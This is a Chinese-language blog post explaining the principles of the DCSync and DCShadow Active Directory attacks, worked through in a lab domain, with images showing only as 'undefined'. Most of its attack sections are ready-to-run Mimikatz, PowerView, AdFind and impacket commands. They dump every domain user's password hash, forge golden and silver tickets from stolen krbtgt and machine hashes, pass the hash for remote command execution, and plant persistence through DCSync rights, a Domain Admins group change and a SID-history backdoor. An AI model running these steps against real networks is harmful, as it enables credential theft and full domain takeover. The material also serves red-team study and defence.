DCSync&DCshadow原理与应用

2年前 (2022-08-25) 三千院翼 所有分类 0评论 已收录 1235℃

DCSync

原理

在域环境中,不同域控制器(DC)之间,每 15 分钟都会有一次域数据的同步。当一个域控制器(DC 1)想从其他域控制器(DC 2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。DCSync 就是利用的这个原理,通过 Directory Replication Service(DRS) 服务的 GetNCChanges 接口向域控发起数据同步请求。

DCSync 是域渗透中经常会用到的技术,其被整合在了 Mimikatz 中。在 DCSync 功能出现之前,要想获得域用户的哈希,需要登录域控制器,在域控制器上执行代码才能获得域用户的哈希。

2015 年 8 月,Benjamin Delpy(神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz,新增加了 DCSync 功能。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是不用登陆域控制器,即可远程通过域数据同步复制的方式获得域控制器上的的数据。

在默认情况下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 组内的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现普通用户也能调用 DCSync 功能。

注意:DCSync 攻击的对象如果是只读域控制器 (RODC),则会失效,因为 RODC 是不能参与复制同步数据到其他 DC 的。

DCSync最强大的功能是不用登录域控,即可通过数据同步的方式远程获取指定用户的密码信息。但是DCSync 攻击的对象如果是RODC域控制器(只读域控制器),则会失效,因为RODC与可读写域控制器之间是的复制是单向复制无法请求同步数据。

前置

获得以下任意权限

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

即:默认情况下域管理员组具有该权限

或者向域内的一个普通用户添加如下三条ACE(Access Control Entries,访问控制条目):

DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)

DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

该用户即可获得利用DCSync导出域内所有用户hash的权限。

利用

简单利用

#只获取单个用户hash
lsadump::dcsync /domain:redteam.local /user:IT /csv

#获取单个用户凭证
lsadump::dcsync /domain:redteam.local /user:IT

#导出域内所有用户hash
lsadump::dcsync /domain:redteam.local /all /csv

undefined

undefined

undefined

进阶利用

生成黄金票据

导出krbtgt账户hash

lsadump::dcsync /domain:redteam.local /user:krbtgt

undefined

之后在win2008机器注入黄金票据

kerberos::golden /user:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ptt

成功与域控建立连接
undefined

域内权限维持

如前文所述,我们如果让普通域用户获得了访问控制条目即可拥有DCSync权限,那么就相当于让普通域用户有了隐藏的域管权限
这里我们使用powerview来实现,给普通域用户DB添加

Import-Module .\PowerView.ps1

Add-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity DB -Rights DCSync -Verbose

undefined

之后用DB用户测试
undefined

成功使用DCSync dumphash
之后输入

Remove-DomainObjectAcl -TargetIdentity "DC=redteam,DC=local" -PrincipalIdentity whoami -Rights DCSync -Verbose

即可删除权限

查找具有 DCSync权限的用户

我们可以使用ADFind

AdFind.exe -s subtree -b "DC=redteam,DC=local" -sdna nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute

undefined

之后我们删除再次重新寻找,发现DB账户的权限成功删除
undefined

使用MachineAccount实现DCSync

MachineAccount是每台计算机在安装系统后默认生成的计算机帐户

如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的NTDS.dit文件中

计算机帐户的密码默认每30天自动更新,密码长度为120个字符,所以说,即使获得了计算机帐户密码的hash,也很难还原出计算机帐户的明文口令

计算机帐户的密码存储在注册表中的位置为:

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC  
# 该注册表键路径只能在 SYSTEM 权限下访问

利用

因为白银票据注入是需要MachineAccount账户的hash的,所以下一步我们使用白银票据测试
先测试下删除DCSync权限的情况
undefined

嗯,没有权限
之后我们注入白银票据(这里的服务可以注入ldap服务,注入机器hash为DC)

kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:LDAP /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:krbtgt /ptt

undefined

成功利用白银票据dumphash
同时黄金票据也测试成功
undefined

扩展

更多的我们可以impacket包的secretsdump来远程利用

1.secretsdump支持从域外的计算机连接至域控制器
2.如果使用域内普通计算机帐户的口令hash连接对应的计算机,那么会失败,提示rpc_s_access_denied

也可以通过 wmiexec.py 或smbexec.py远程执行cmd命令 (winserver2016已经不能用机器账户进行认证登陆)

python smbexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv
python wmiexec.py -hashes:7da530fba3b15a2ea21ce7db8110d57b test/DC1$@192.168.1.1 whoami /priv

也可以用powershell脚本https://gist.github.com/monoxgas/9d238accd969550136db

通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能

导出域内administrator帐户的hash:

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize

undefined

导出域内所有用户的hash:

Invoke-DCSync -DumpForest | ft -wrap -autosize

undefined

DCshadow

原理

Mimikatz远程从DC中复制数据,即Dcsync; 类似的dcshadow可以伪装成DC,让正常DC通过伪造的DC中复制数据。

步骤

1、通过dcshadow更改配置架构和注册SPN值,将我们的服务器注册为Active Directory中的DC
2、在我们伪造的DC上更改数据,并利用域复制将数据同步到正常DC上。

从原理中我们可以认识到两点:
1、需要具备域管权限或域控本地管理权限,注册spn值,写权限等
2、除了dc之间的连接通信,默认情况下不会记录事件日志
undefined

前置

域控新创一个测试域普通用户lh
undefined

起一个system的进程

!+
!processtoken
token::whoami

undefined

新起一个域管cmd窗口
undefined

攻击

system执行,更改描述符

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:description    /value:"test successfully"

undefined

之后域管执行push

lsadump::dcshadow /push

undefined

推送刷新成功,在域控查看发现打成功了
undefined

添加域管

查看本地域管
undefined

lsadump::dcshadow /object:CN=lh,CN=Users,DC=redteam,DC=local /attribute:primarygroupid /value:512

发送我们的payload并且推送
undefined

再次查看域管
undefined

前后对比
undefined

添加sid history后门

查看当前域管的sid
undefined

lsadump::dcshadow /object:CN=DB,CN=Users,DC=redteam,DC=local /attribute:sidhistory /value:S-1-5-21-3458133008-801623762-2841880732-500

发送我们的payload
undefined

之后重启用户
undefined

连接域控成功
undefined

参考

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync
https://www.anquanke.com/post/id/146551

博主
               

一个网安苦手,VtbMusic开发组成员|兽耳科技官方群管理组成员|珈百璃字幕组成员|夜樱诺娅字幕组成员|铃音_Official鸽组成员|米孝子|信安摸鱼生

相关推荐

有任何意见请评价。